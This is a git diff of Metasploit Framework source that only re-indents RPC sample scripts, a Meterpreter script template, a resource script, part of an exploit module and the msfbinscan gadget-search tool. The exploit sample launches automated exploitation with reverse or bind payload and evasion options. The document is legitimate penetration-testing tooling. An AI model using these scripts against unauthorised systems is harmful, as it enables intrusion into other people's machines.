- exit(0) + $stderr.puts "[-] Error starting the task: #{task.inspect}" + exit(0) end puts "[*] Creating Task ID #{task['task_id']}..." while true - select(nil, nil, nil, 0.50) + select(nil, nil, nil, 0.50) - stat = @rpc.call("pro.task_status", task['task_id']) + stat = @rpc.call("pro.task_status", task['task_id']) - if stat['status'] == 'invalid' - $stderr.puts "[-] Error checking task status" - exit(0) - end + if stat['status'] == 'invalid' + $stderr.puts "[-] Error checking task status" + exit(0) + end - info = stat[ task['task_id'] ] + info = stat[ task['task_id'] ] - if not info - $stderr.puts "[-] Error finding the task" - exit(0) - end + if not info + $stderr.puts "[-] Error finding the task" + exit(0) + end - if info['status'] == "error" - $stderr.puts "[-] Error generating report: #{info['error']}" - exit(0) - end + if info['status'] == "error" + $stderr.puts "[-] Error generating report: #{info['error']}" + exit(0) + end - break if info['progress'] == 100 + break if info['progress'] == 100 end $stdout.puts "[+] Task Complete!" diff --git a/documentation/samples/pro/msfrpc_pro_exploit.rb b/documentation/samples/pro/msfrpc_pro_exploit.rb index bc3b3fc573..c24dc1b8c6 100644 --- a/documentation/samples/pro/msfrpc_pro_exploit.rb +++ b/documentation/samples/pro/msfrpc_pro_exploit.rb @@ -5,19 +5,19 @@ require 'msfrpc-client' require 'rex/ui' def usage(ropts) - $stderr.puts ropts + $stderr.puts ropts - if @rpc and @rpc.token - wspaces = @rpc.call("pro.workspaces") rescue {} - if wspaces.keys.length > 0 - $stderr.puts "Active Projects:" - wspaces.each_pair do |k,v| - $stderr.puts "\t#{k}" - end - end - end - $stderr.puts "" - exit(1) + if @rpc and @rpc.token + wspaces = @rpc.call("pro.workspaces") rescue {} + if wspaces.keys.length > 0 + $stderr.puts "Active Projects:" + wspaces.each_pair do |k,v| + $stderr.puts "\t#{k}" + end + end + end + $stderr.puts "" + exit(1) end opts = {} @@ -43,88 +43,88 @@ parser = Msf::RPC::Client.option_parser(opts) parser.separator('Exploit Specific Options:') parser.on("--project PROJECT") do |x| - opts[:project] = x + opts[:project] = x end parser.on("--targets TARGETS") do |x| - opts[:targets] = x + opts[:targets] = x end parser.on("--speed SPEED") do |x| - opts[:speed] = x + opts[:speed] = x end parser.on("--minimum-rank RANK") do |x| - opts[:rank] = x + opts[:rank] = x end parser.on("--blacklist BLACKLIST (optional)") do |x| - opts[:blacklist] = x + opts[:blacklist] = x end parser.on("--whitelist-ports PORTS (optional)") do |x| - opts[:whitelist_ports] = x + opts[:whitelist_ports] = x end parser.on("--blacklist-ports PORTS (optional)") do |x| - opts[:blacklist_ports] = x + opts[:blacklist_ports] = x end parser.on("--exploit-timeout TIMEOUT (optional)") do |x| - opts[:exploit_timeout] = x + opts[:exploit_timeout] = x end parser.on("--limit-sessions (optional)") do |x| - opts[:limit_sessions] = (x =~ /^(y|t|1)/i ? true : false ) + opts[:limit_sessions] = (x =~ /^(y|t|1)/i ? true : false ) end parser.on("--ignore-fragile-devices (optional)") do |x| - opts[:ignore_fragile_devices] = (x =~ /^(y|t|1)/i ? true : false ) + opts[:ignore_fragile_devices] = (x =~ /^(y|t|1)/i ? true : false ) end parser.on("--filter-by-os (optional)") do |x| - opts[:filter_by_os] = (x =~ /^(y|t|1)/i ? true : false ) + opts[:filter_by_os] = (x =~ /^(y|t|1)/i ? true : false ) end parser.on("--dry-run (optional)") do |x| - opts[:only_match] = (x =~ /^(y|t|1)/i ? true : false ) + opts[:only_match] = (x =~ /^(y|t|1)/i ? true : false ) end parser.on("--match-vulns (optional)") do |x| - opts[:match_vulns] = (x =~ /^(y|t|1)/i ? true : false ) + opts[:match_vulns] = (x =~ /^(y|t|1)/i ? true : false ) end parser.on("--match-ports (optional)") do |x| - opts[:match_ports] = (x =~ /^(y|t|1)/i ? true : false ) + opts[:match_ports] = (x =~ /^(y|t|1)/i ? true : false ) end parser.on("--payload-method AUTO|REVERSE|BIND (optional)") do |x| - opts[:payload_method] = x + opts[:payload_method] = x end parser.on("--payload-type METERPRETER|SHELL (optional)") do |x| - opts[:payload_type] = x + opts[:payload_type] = x end parser.on("--payload-ports PORTS (optional)") do |x| - opts[:payload_ports] = x + opts[:payload_ports] = x end parser.on("--evasion-level-tcp LEVEL (optional)") do |x| - opts[:evasion_level_tcp] = x + opts[:evasion_level_tcp] = x end parser.on("--evasion-level-app LEVEL (optional)") do |x| - opts[:evasion_level_app] = x + opts[:evasion_level_app] = x end parser.on("--module-filter FILTER (optional)") do |x| - opts[:module_filter] = x + opts[:module_filter] = x end parser.on("--help") do - $stderr.puts parser - exit(1) + $stderr.puts parser + exit(1) end parser.separator('') @@ -133,9 +133,9 @@ parser.parse!(ARGV) @rpc = Msf::RPC::Client.new(opts) if not @rpc.token - $stderr.puts "Error: Invalid RPC server options specified" - $stderr.puts parser - exit(1) + $stderr.puts "Error: Invalid RPC server options specified" + $stderr.puts parser + exit(1) end # Store the user's settings @@ -166,60 +166,60 @@ user = @rpc.call("pro.default_admin_user")['username'] # Create the task object with all options task = @rpc.call("pro.start_exploit", { - 'workspace' => project, - 'username' => user, - 'DS_WHITELIST_HOSTS' => targets, - 'DS_BLACKLIST_HOSTS' => blacklist, - 'DS_WHITELIST_PORTS' => whitelist_ports, - 'DS_BLACKLIST_PORTS' => blacklist_ports, - 'DS_MinimumRank' => rank, - 'DS_EXPLOIT_SPEED' => speed, - 'DS_EXPLOIT_TIMEOUT' => exploit_timeout, - 'DS_LimitSessions' => limit_sessions, - 'DS_IgnoreFragileDevices' => ignore_fragile_devices, - 'DS_FilterByOS' => filter_by_os, - 'DS_OnlyMatch' => only_match, - 'DS_MATCH_VULNS' => match_vulns, - 'DS_MATCH_PORTS' => match_ports, - 'DS_PAYLOAD_METHOD' => payload_method, - 'DS_PAYLOAD_TYPE' => payload_type, - 'DS_PAYLOAD_PORTS' => payload_ports, - 'DS_EVASION_LEVEL_TCP' => evasion_level_tcp, - 'DS_EVASION_LEVEL_APP' => evasion_level_app, - 'DS_ModuleFilter' => module_filter + 'workspace' => project, + 'username' => user, + 'DS_WHITELIST_HOSTS' => targets, + 'DS_BLACKLIST_HOSTS' => blacklist, + 'DS_WHITELIST_PORTS' => whitelist_ports, + 'DS_BLACKLIST_PORTS' => blacklist_ports, + 'DS_MinimumRank' => rank, + 'DS_EXPLOIT_SPEED' => speed, + 'DS_EXPLOIT_TIMEOUT' => exploit_timeout, + 'DS_LimitSessions' => limit_sessions, + 'DS_IgnoreFragileDevices' => ignore_fragile_devices, + 'DS_FilterByOS' => filter_by_os, + 'DS_OnlyMatch' => only_match, + 'DS_MATCH_VULNS' => match_vulns, + 'DS_MATCH_PORTS' => match_ports, + 'DS_PAYLOAD_METHOD' => payload_method, + 'DS_PAYLOAD_TYPE' => payload_type, + 'DS_PAYLOAD_PORTS' => payload_ports, + 'DS_EVASION_LEVEL_TCP' => evasion_level_tcp, + 'DS_EVASION_LEVEL_APP' => evasion_level_app, + 'DS_ModuleFilter' => module_filter }) puts "DEBUG: Running task with #{task.inspect}" if not task['task_id'] - $stderr.puts "[-] Error starting the task: #{task.inspect}" - exit(0) + $stderr.puts "[-] Error starting the task: #{task.inspect}" + exit(0) end puts "[*] Creating Task ID #{task['task_id']}..." while true - select(nil, nil, nil, 0.50) + select(nil, nil, nil, 0.50) - stat = @rpc.call("pro.task_status", task['task_id']) + stat = @rpc.call("pro.task_status", task['task_id']) - if stat['status'] == 'invalid' - $stderr.puts "[-] Error checking task status" - exit(0) - end + if stat['status'] == 'invalid' + $stderr.puts "[-] Error checking task status" + exit(0) + end - info = stat[ task['task_id'] ] + info = stat[ task['task_id'] ] - if not info - $stderr.puts "[-] Error finding the task" - exit(0) - end + if not info + $stderr.puts "[-] Error finding the task" + exit(0) + end - if info['status'] == "error" - $stderr.puts "[-] Error generating report: #{info['error']}" - exit(0) - end + if info['status'] == "error" + $stderr.puts "[-] Error generating report: #{info['error']}" + exit(0) + end - break if info['progress'] == 100 + break if info['progress'] == 100 end $stdout.puts "[+] Task Complete!" diff --git a/documentation/samples/pro/msfrpc_pro_import.rb b/documentation/samples/pro/msfrpc_pro_import.rb index d451fb76c6..b7c2c07604 100644 --- a/documentation/samples/pro/msfrpc_pro_import.rb +++ b/documentation/samples/pro/msfrpc_pro_import.rb @@ -5,18 +5,18 @@ require 'msfrpc-client' require 'rex/ui' def usage(ropts) - $stderr.puts ropts + $stderr.puts ropts - if @rpc and @rpc.token - wspaces = @rpc.call("pro.workspaces") rescue {} - if wspaces.keys.length > 0 - $stderr.puts "Active Projects:" - wspaces.each_pair do |k,v| - $stderr.puts "\t#{k}" - end - end - end - exit(1) + if @rpc and @rpc.token + wspaces = @rpc.call("pro.workspaces") rescue {} + if wspaces.keys.length > 0 + $stderr.puts "Active Projects:" + wspaces.each_pair do |k,v| + $stderr.puts "\t#{k}" + end + end + end + exit(1) end opts = {} @@ -26,16 +26,16 @@ parser = Msf::RPC::Client.option_parser(opts) parser.separator('Task Options:') parser.on("--path PATH") do |path| - opts[:path] = path + opts[:path] = path end parser.on("--project PROJECT") do |project| - opts[:project] = project + opts[:project] = project end parser.on("--help") do - $stderr.puts parser - exit(1) + $stderr.puts parser + exit(1) end parser.separator('') @@ -43,49 +43,49 @@ parser.parse!(ARGV) @rpc = Msf::RPC::Client.new(opts) if not @rpc.token - $stderr.puts "Error: Invalid RPC server options specified" - $stderr.puts parser - exit(1) + $stderr.puts "Error: Invalid RPC server options specified" + $stderr.puts parser + exit(1) end project = opts[:project] || usage(parser) path = opts[:path] || usage(parser) user = @rpc.call("pro.default_admin_user")['username'] task = @rpc.call("pro.start_import", { - 'workspace' => project, - 'username' => user, - 'DS_PATH' => path + 'workspace' => project, + 'username' => user, + 'DS_PATH' => path }) if not task['task_id'] - $stderr.puts "[-] Error starting the task: #{task.inspect}" - exit(0) + $stderr.puts "[-] Error starting the task: #{task.inspect}" + exit(0) end puts "[*] Creating Task ID #{task['task_id']}..." while true - select(nil, nil, nil, 0.50) + select(nil, nil, nil, 0.50) - stat = @rpc.call("pro.task_status", task['task_id']) + stat = @rpc.call("pro.task_status", task['task_id']) - if stat['status'] == 'invalid' - $stderr.puts "[-] Error checking task status" - exit(0) - end + if stat['status'] == 'invalid' + $stderr.puts "[-] Error checking task status" + exit(0) + end - info = stat[ task['task_id'] ] + info = stat[ task['task_id'] ] - if not info - $stderr.puts "[-] Error finding the task" - exit(0) - end + if not info + $stderr.puts "[-] Error finding the task" + exit(0) + end - if info['status'] == "error" - $stderr.puts "[-] Error generating report: #{info['error']}" - exit(0) - end + if info['status'] == "error" + $stderr.puts "[-] Error generating report: #{info['error']}" + exit(0) + end - break if info['progress'] == 100 + break if info['progress'] == 100 end $stdout.puts "[+] Task Complete!" diff --git a/documentation/samples/pro/msfrpc_pro_nexpose.rb b/documentation/samples/pro/msfrpc_pro_nexpose.rb index aa9d626723..4f6e1cb963 100644 --- a/documentation/samples/pro/msfrpc_pro_nexpose.rb +++ b/documentation/samples/pro/msfrpc_pro_nexpose.rb @@ -5,19 +5,19 @@ require 'msfrpc-client' require 'rex/ui' def usage(ropts) - $stderr.puts ropts + $stderr.puts ropts - if @rpc and @rpc.token - wspaces = @rpc.call("pro.workspaces") rescue {} - if wspaces.keys.length > 0 - $stderr.puts "Active Projects:" - wspaces.each_pair do |k,v| - $stderr.puts "\t#{k}" - end - end - end - $stderr.puts "" - exit(1) + if @rpc and @rpc.token + wspaces = @rpc.call("pro.workspaces") rescue {} + if wspaces.keys.length > 0 + $stderr.puts "Active Projects:" + wspaces.each_pair do |k,v| + $stderr.puts "\t#{k}" + end + end + end + $stderr.puts "" + exit(1) end opts = {} @@ -27,44 +27,44 @@ parser = Msf::RPC::Client.option_parser(opts) parser.separator('NeXpose Specific Options:') parser.on("--project PROJECT") do |x| - opts[:project] = x + opts[:project] = x end parser.on("--targets TARGETS") do |x| - opts[:targets] = [x] + opts[:targets] = [x] end parser.on("--nexpose-host HOST") do |x| - opts[:nexpose_host] = x + opts[:nexpose_host] = x end parser.on("--nexpose-user USER") do |x| - opts[:nexpose_user] = x + opts[:nexpose_user] = x end parser.on("--nexpose-pass PASSWORD") do |x| - opts[:nexpose_pass] = x + opts[:nexpose_pass] = x end parser.on("--nexpose-pass-file PATH") do |x| - opts[:nexpose_pass_file] = x + opts[:nexpose_pass_file] = x end parser.on("--scan-template TEMPLATE (optional)") do |x| - opts[:scan_template] = x + opts[:scan_template] = x end parser.on("--nexpose-port PORT (optional)") do |x| - opts[:nexpose_port] = x + opts[:nexpose_port] = x end parser.on("--blacklist BLACKLIST (optional)") do |x| - opts[:blacklist] = x + opts[:blacklist] = x end parser.on("--help") do - $stderr.puts parser - exit(1) + $stderr.puts parser + exit(1) end parser.separator('') @@ -73,16 +73,16 @@ parser.parse!(ARGV) @rpc = Msf::RPC::Client.new(opts) if not @rpc.token - $stderr.puts "Error: Invalid RPC server options specified" - $stderr.puts parser - exit(1) + $stderr.puts "Error: Invalid RPC server options specified" + $stderr.puts parser + exit(1) end # Get the password from the file if opts[:nexpose_pass_file] - nexpose_pass = File.open(opts[:nexpose_pass_file],"r").read.chomp! + nexpose_pass = File.open(opts[:nexpose_pass_file],"r").read.chomp! else - nexpose_pass = opts[:nexpose_pass] || usage(parser) + nexpose_pass = opts[:nexpose_pass] || usage(parser) end # Store the user's settings @@ -98,14 +98,14 @@ scan_template = opts[:scan_template] || "pentest-audit" user = @rpc.call("pro.default_admin_user")['username'] options = { - 'workspace' => project, - 'username' => user, - 'DS_WHITELIST_HOSTS' => targets, - 'DS_NEXPOSE_HOST' => nexpose_host, - 'DS_NEXPOSE_PORT' => nexpose_port, - 'DS_NEXPOSE_USER' => nexpose_user, - 'nexpose_pass' => nexpose_pass, - 'DS_SCAN_TEMPLATE' => scan_template + 'workspace' => project, + 'username' => user, + 'DS_WHITELIST_HOSTS' => targets, + 'DS_NEXPOSE_HOST' => nexpose_host, + 'DS_NEXPOSE_PORT' => nexpose_port, + 'DS_NEXPOSE_USER' => nexpose_user, + 'nexpose_pass' => nexpose_pass, + 'DS_SCAN_TEMPLATE' => scan_template } puts "DEBUG: Running task with #{options}" @@ -115,34 +115,34 @@ task = @rpc.call("pro.start_exploit", options) if not task['task_id'] - $stderr.puts "[-] Error starting the task: #{task.inspect}" - exit(0) + $stderr.puts "[-] Error starting the task: #{task.inspect}" + exit(0) end puts "[*] Creating Task ID #{task['task_id']}..." while true - select(nil, nil, nil, 0.50) + select(nil, nil, nil, 0.50) - stat = @rpc.call("pro.task_status", task['task_id']) + stat = @rpc.call("pro.task_status", task['task_id']) - if stat['status'] == 'invalid' - $stderr.puts "[-] Error checking task status" - exit(0) - end + if stat['status'] == 'invalid' + $stderr.puts "[-] Error checking task status" + exit(0) + end - info = stat[ task['task_id'] ] + info = stat[ task['task_id'] ] - if not info - $stderr.puts "[-] Error finding the task" - exit(0) - end + if not info + $stderr.puts "[-] Error finding the task" + exit(0) + end - if info['status'] == "error" - $stderr.puts "[-] Error generating report: #{info['error']}" - exit(0) - end + if info['status'] == "error" + $stderr.puts "[-] Error generating report: #{info['error']}" + exit(0) + end - break if info['progress'] == 100 + break if info['progress'] == 100 end $stdout.puts "[+] Task Complete!" diff --git a/documentation/samples/pro/msfrpc_pro_report.rb b/documentation/samples/pro/msfrpc_pro_report.rb index 824449519c..6095a8d7bb 100644 --- a/documentation/samples/pro/msfrpc_pro_report.rb +++ b/documentation/samples/pro/msfrpc_pro_report.rb @@ -6,43 +6,43 @@ require 'msfrpc-client' require 'rex/ui' def usage(ropts) - $stderr.puts ropts + $stderr.puts ropts - if @rpc and @rpc.token - wspaces = @rpc.call("pro.workspaces") rescue {} - if wspaces.keys.length > 0 - $stderr.puts "Active Projects:" - wspaces.each_pair do |k,v| - $stderr.puts "\t#{k}" - end - end - end - $stderr.puts "" - exit(1) + if @rpc and @rpc.token + wspaces = @rpc.call("pro.workspaces") rescue {} + if wspaces.keys.length > 0 + $stderr.puts "Active Projects:" + wspaces.each_pair do |k,v| + $stderr.puts "\t#{k}" + end + end + end + $stderr.puts "" + exit(1) end opts = { - :format => 'PDF' + :format => 'PDF' } parser = Msf::RPC::Client.option_parser(opts) parser.separator('Report Options:') parser.on("--format FORMAT") do |v| - opts[:format] = v.upcase + opts[:format] = v.upcase end parser.on("--project PROJECT") do |v| - opts[:project] = v + opts[:project] = v end parser.on("--output OUTFILE") do |v| - opts[:output] = v + opts[:output] = v end parser.on("--help") do - $stderr.puts parser - exit(1) + $stderr.puts parser + exit(1) end parser.separator('') @@ -50,9 +50,9 @@ parser.parse!(ARGV) @rpc = Msf::RPC::Client.new(opts) if not @rpc.token - $stderr.puts "Error: Invalid RPC server options specified" - $stderr.puts parser - exit(1) + $stderr.puts "Error: Invalid RPC server options specified" + $stderr.puts parser + exit(1) end project = opts[:project] || usage(parser) @@ -61,66 +61,66 @@ rtype = opts[:format] user = @rpc.call("pro.default_admin_user")['username'] task = @rpc.call("pro.start_report", { - 'DS_WHITELIST_HOSTS' => "", - 'DS_BLACKLIST_HOSTS' => "", - 'workspace' => project, - 'username' => user, - 'DS_MaskPasswords' => false, - 'DS_IncludeTaskLog' => false, - 'DS_JasperDisplaySession' => true, - 'DS_JasperDisplayCharts' => true, - 'DS_LootExcludeScreenshots' => false, - 'DS_LootExcludePasswords' => false, - 'DS_JasperTemplate' => "msfxv3.jrxml", - 'DS_REPORT_TYPE' => rtype.upcase, - 'DS_UseJasper' => true, - 'DS_UseCustomReporting' => true, - 'DS_JasperProductName' => "Metasploit Pro", - 'DS_JasperDbEnv' => "production", - 'DS_JasperLogo' => '', - 'DS_JasperDisplaySections' => "1,2,3,4,5,6,7,8", - 'DS_EnablePCIReport' => true, - 'DS_EnableFISMAReport' => true, - 'DS_JasperDisplayWeb' => true, + 'DS_WHITELIST_HOSTS' => "", + 'DS_BLACKLIST_HOSTS' => "", + 'workspace' => project, + 'username' => user, + 'DS_MaskPasswords' => false, + 'DS_IncludeTaskLog' => false, + 'DS_JasperDisplaySession' => true, + 'DS_JasperDisplayCharts' => true, + 'DS_LootExcludeScreenshots' => false, + 'DS_LootExcludePasswords' => false, + 'DS_JasperTemplate' => "msfxv3.jrxml", + 'DS_REPORT_TYPE' => rtype.upcase, + 'DS_UseJasper' => true, + 'DS_UseCustomReporting' => true, + 'DS_JasperProductName' => "Metasploit Pro", + 'DS_JasperDbEnv' => "production", + 'DS_JasperLogo' => '', + 'DS_JasperDisplaySections' => "1,2,3,4,5,6,7,8", + 'DS_EnablePCIReport' => true, + 'DS_EnableFISMAReport' => true, + 'DS_JasperDisplayWeb' => true, }) if not task['task_id'] - $stderr.puts "[-] Error generating the report: #{task.inspect}" - exit(0) + $stderr.puts "[-] Error generating the report: #{task.inspect}" + exit(0) end puts "[*] Report is generating with Task ID #{task['task_id']}..." while true - select(nil, nil, nil, 0.50) - stat = @rpc.call("pro.task_status", task['task_id']) - if stat['status'] == 'invalid' - $stderr.puts "[-] Error checking task status" - exit(0) - end + select(nil, nil, nil, 0.50) + stat = @rpc.call("pro.task_status", task['task_id']) + if stat['status'] == 'invalid' + $stderr.puts "[-] Error checking task status" + exit(0) + end - info = stat[ task['task_id'] ] + info = stat[ task['task_id'] ] - if not info - $stderr.puts "[-] Error finding the task" - exit(0) - end + if not info + $stderr.puts "[-] Error finding the task" + exit(0) + end - if info['status'] == "error" - $stderr.puts "[-] Error generating report: #{info['error']}" - exit(0) - end + if info['status'] == "error" + $stderr.puts "[-] Error generating report: #{info['error']}" + exit(0) + end - break if info['progress'] == 100 + break if info['progress'] == 100 end report = @rpc.call('pro.report_download_by_task', task['task_id']) if report and report['data'] - ::File.open(fname, "wb") do |fd| - fd.write(report['data']) - end - $stderr.puts "[-] Report saved to #{::File.expand_path(fname)}" + ::File.open(fname, "wb") do |fd| + fd.write(report['data']) + end + $stderr.puts "[-] Report saved to #{::File.expand_path(fname)}" else - $stderr.puts "[-] Error downloading report: #{report.inspect}" + $stderr.puts "[-] Error downloading report: #{report.inspect}" end diff --git a/documentation/samples/scripts/meterpreter_script_template.rb b/documentation/samples/scripts/meterpreter_script_template.rb index e18cea5779..ee2affd11d 100644 --- a/documentation/samples/scripts/meterpreter_script_template.rb +++ b/documentation/samples/scripts/meterpreter_script_template.rb @@ -7,9 +7,9 @@ @client = client sample_option_var = nil @exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ], - "-o" => [ true , "Option that requieres a value"] - ) + "-h" => [ false, "Help menu." ], + "-o" => [ true , "Option that requieres a value"] + ) meter_type = client.platform ################## Function Declarations ################## @@ -17,26 +17,26 @@ meter_type = client.platform # Usage Message Function #------------------------------------------------------------------------------- def usage - print_line "Meterpreter Script for INSERT PURPOSE." - print_line(@exec_opts.usage) - raise Rex::Script::Completed + print_line "Meterpreter Script for INSERT PURPOSE." + print_line(@exec_opts.usage) + raise Rex::Script::Completed end # Wrong Meterpreter Version Message Function #------------------------------------------------------------------------------- def wrong_meter_version(meter = meter_type) - print_error("#{meter} version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("#{meter} version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end ################## Main ################## @exec_opts.parse(args) { |opt, idx, val| - case opt - when "-h" - usage - when "-o" - sample_option_var = val - end + case opt + when "-h" + usage + when "-o" + sample_option_var = val + end } # Check for Version of Meterpreter diff --git a/documentation/samples/scripts/resource_script.rb b/documentation/samples/scripts/resource_script.rb index a9d7fb6a56..8eedf949e5 100644 --- a/documentation/samples/scripts/resource_script.rb +++ b/documentation/samples/scripts/resource_script.rb @@ -15,27 +15,27 @@ # will have to do the trick for now. # def help - msg = %Q| - Description: - Let's describe what this RC script is all about, plus anything the user should know before - actually using it. + msg = %Q| + Description: + Let's describe what this RC script is all about, plus anything the user should know before + actually using it. - Usage: - msfconsole -r <rc file> <db_user> <db_pass> <db_workspace> <arg1> + Usage: + msfconsole -r <rc file> <db_user> <db_pass> <db_workspace> <arg1> - Options: - <rc file> - I'm sure you already know - <db_user> - Username for the database (datastore: 'DB_USER') - <db_pass> - Password for the database (datastore: 'DB_PASS') - <db_workspace> - Workspace for the database (datastore: 'DB_WORKSPACE') - <arg1> - Argument 1 (datastore: 'ARG1') + Options: + <rc file> - I'm sure you already know + <db_user> - Username for the database (datastore: 'DB_USER') + <db_pass> - Password for the database (datastore: 'DB_PASS') + <db_workspace> - Workspace for the database (datastore: 'DB_WORKSPACE') + <arg1> - Argument 1 (datastore: 'ARG1') - Authors: - sinn3r <sinn3r[at]metasploit.com> - | + Authors: + sinn3r <sinn3r[at]metasploit.com> + | - msg = msg.gsub(/^\t/, '') - print_line(msg) + msg = msg.gsub(/^\t/, '') + print_line(msg) end @@ -43,12 +43,12 @@ end # See if we're already connected # def is_db_active? - begin - framework.db.hosts - return true - rescue ::ActiveRecord::ConnectionNotEstablished - return false - end + begin + framework.db.hosts + return true + rescue ::ActiveRecord::ConnectionNotEstablished + return false + end end @@ -57,9 +57,9 @@ end # Default to localhost:5432, as this is the default configuration suggested by the manual. # def init_db(username, password, workspace) - db = "localhost:5432" - print_status("Opening #{workspace} at #{db}") - run_single("db_connect #{username}:#{password}@#{db}/#{workspace}") + db = "localhost:5432" + print_status("Opening #{workspace} at #{db}") + run_single("db_connect #{username}:#{password}@#{db}/#{workspace}") end @@ -67,30 +67,30 @@ end # Initialize the argumets here # def init_args - args = {} + args = {} - joint = ARGV.join('') - if joint =~ /^help$/i - args[:help] = true - return args - end + joint = ARGV.join('') + if joint =~ /^help$/i + args[:help] = true + return args + end - # Add more arguments according to your help() function - datastore = framework.datastore - args[:db_user] = ARGV.shift || datastore['DB_USER'] || '' - args[:db_pass] = ARGV.shift || datastore['DB_PASS'] || '' - args[:db_workspace] = ARGV.shift || datastore['DB_WORKSPACE'] || '' - args[:arg1] = ARGV.shift || datastore['ARG1'] || '' + # Add more arguments according to your help() function + datastore = framework.datastore + args[:db_user] = ARGV.shift || datastore['DB_USER'] || '' + args[:db_pass] = ARGV.shift || datastore['DB_PASS'] || '' + args[:db_workspace] = ARGV.shift || datastore['DB_WORKSPACE'] || '' + args[:arg1] = ARGV.shift || datastore['ARG1'] || '' - if not is_db_active? - if args[:db_user].empty? or args[:db_pass].empty? or args[:db_workspace].empty? - raise ArgumentError, "Need DB_USER, DB_PASS, and DB_WORKSPACE" - end - end + if not is_db_active? + if args[:db_user].empty? or args[:db_pass].empty? or args[:db_workspace].empty? + raise ArgumentError, "Need DB_USER, DB_PASS, and DB_WORKSPACE" + end + end - raise ArgumentError, "Need ARG1" if args[:arg1].empty? + raise ArgumentError, "Need ARG1" if args[:arg1].empty? - return args + return args end @@ -98,7 +98,7 @@ end # This is your main function # def main(args) - print_status("Initialzation is done, and here's your input: #{args[:arg1]}") + print_status("Initialzation is done, and here's your input: #{args[:arg1]}") end @@ -106,27 +106,27 @@ end # Below initializes the arguments and database # begin - args = init_args - if args[:help] - help - return - end + args = init_args + if args[:help] + help + return + end - init_db(args[:db_user], args[:db_pass], args[:db_workspace]) if not is_db_active? - main(args) + init_db(args[:db_user], args[:db_pass], args[:db_workspace]) if not is_db_active? + main(args) rescue ArgumentError => e - print_error("Bad argument(s): #{e.message}") - return + print_error("Bad argument(s): #{e.message}") + return rescue RuntimeError => e - # Any runtime error should be raised as "RuntimeError" - print_error(e.message) - return + # Any runtime error should be raised as "RuntimeError" + print_error(e.message) + return rescue ::Exception => e - # Whatever unknown exception occurs, we raise it - raise e + # Whatever unknown exception occurs, we raise it + raise e end </ruby> \ No newline at end of file diff --git a/modules/exploits/unix/webapp/arkeia_upload_exec.rb b/modules/exploits/unix/webapp/arkeia_upload_exec.rb index 1a3e0771a0..dbff449b07 100644 --- a/modules/exploits/unix/webapp/arkeia_upload_exec.rb +++ b/modules/exploits/unix/webapp/arkeia_upload_exec.rb @@ -134,6 +134,6 @@ class Metasploit3 < Msf::Exploit::Remote print_error("#{peer} - Unexpected response, probably the exploit failed") end - end + end end diff --git a/msfbinscan b/msfbinscan index 442bf3e7f4..e9fe1dff76 100755 --- a/msfbinscan +++ b/msfbinscan @@ -7,7 +7,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib'))) @@ -29,7 +29,7 @@ require 'rex/arch/x86' require 'optparse' def opt2i(o) - o.index("0x")==0 ? o.hex : o.to_i + o.index("0x")==0 ? o.hex : o.to_i end opt = OptionParser.new @@ -44,258 +44,258 @@ files = [] mode = "" opt.on('-j', '--jump [regA,regB,regC]', 'Search for jump equivalent instructions [PE|ELF|MACHO]') do |t| - # take csv of register names (like eax,ebx) and convert - # them to an array of register numbers - mode = "jump" - regnums = t.split(',').collect { |o| - begin - Rex::Arch::X86.reg_number(o) - rescue - puts "Invalid register \"#{o}\"" - exit(1) - end - } - param['args'] = regnums + # take csv of register names (like eax,ebx) and convert + # them to an array of register numbers + mode = "jump" + regnums = t.split(',').collect { |o| + begin + Rex::Arch::X86.reg_number(o) + rescue + puts "Invalid register \"#{o}\"" + exit(1) + end + } + param['args'] = regnums end opt.on('-p', '--poppopret', 'Search for pop+pop+ret combinations [PE|ELF|MACHO]') do |t| - mode = "pop" - param['args'] = t + mode = "pop" + param['args'] = t end opt.on('-r', '--regex [regex]', 'Search for regex match [PE|ELF|MACHO]') do |t| - mode = "regex" - param['args'] = t + mode = "regex" + param['args'] = t end opt.on('-a', '--analyze-address [address]', 'Display the code at the specified address [PE|ELF]') do |t| - mode = "analyze-address" - param['args'] = opt2i(t) + mode = "analyze-address" + param['args'] = opt2i(t) end opt.on('-b', '--analyze-offset [offset]', 'Display the code at the specified offset [PE|ELF]') do |t| - mode = "analyze-offset" - param['args'] = opt2i(t) + mode = "analyze-offset" + param['args'] = opt2i(t) end opt.on('-f', '--fingerprint', 'Attempt to identify the packer/compiler [PE]') do |t| - mode = "fingerprint" - param['database'] = File.join(File.dirname(msfbase), 'data', 'msfpescan', 'identify.txt') + mode = "fingerprint" + param['database'] = File.join(File.dirname(msfbase), 'data', 'msfpescan', 'identify.txt') end opt.on('-i', '--info', 'Display detailed information about the image [PE]') do |t| - mode = "info" + mode = "info" end opt.on('-R', '--ripper [directory]', 'Rip all module resources to disk [PE]') do |t| - mode = "ripper" - param['dir'] = t + mode = "ripper" + param['dir'] = t end opt.on('--context-map [directory]', 'Generate context-map files [PE]') do |t| - mode = "context" - param['dir'] = t + mode = "context" + param['dir'] = t end opt.separator('') opt.separator('Options:') opt.on('-A', '--after [bytes]', 'Number of bytes to show after match (-a/-b) [PE|ELF|MACHO]') do |t| - param['after'] = opt2i(t) + param['after'] = opt2i(t) end opt.on('-B', '--before [bytes]', 'Number of bytes to show before match (-a/-b) [PE|ELF|MACHO]') do |t| - param['before'] = opt2i(t) + param['before'] = opt2i(t) end opt.on('-I', '--image-base [address]', 'Specify an alternate ImageBase [PE|ELF|MACHO]') do |t| - param['imagebase'] = opt2i(t) + param['imagebase'] = opt2i(t) end opt.on('-D', '--disasm', 'Disassemble the bytes at this address [PE]') do |t| - param['disasm'] = true + param['disasm'] = true end opt.on('-F', '--filter-addresses [regex]', 'Filter addresses based on a regular expression [PE]') do |t| - param['filteraddr'] = t + param['filteraddr'] = t end opt.on_tail("-h", "--help", "Show this message") do - $stderr.puts opt - exit(1) + $stderr.puts opt + exit(1) end begin - opt.parse! + opt.parse! rescue OptionParser::InvalidOption, OptionParser::MissingArgument - $stderr.puts "Invalid option, try -h for usage" - exit(1) + $stderr.puts "Invalid option, try -h for usage" + exit(1) end if mode.empty? - $stderr.puts "A mode must be selected" - $stderr.puts opt - exit(1) + $stderr.puts "A mode must be selected" + $stderr.puts opt + exit(1) 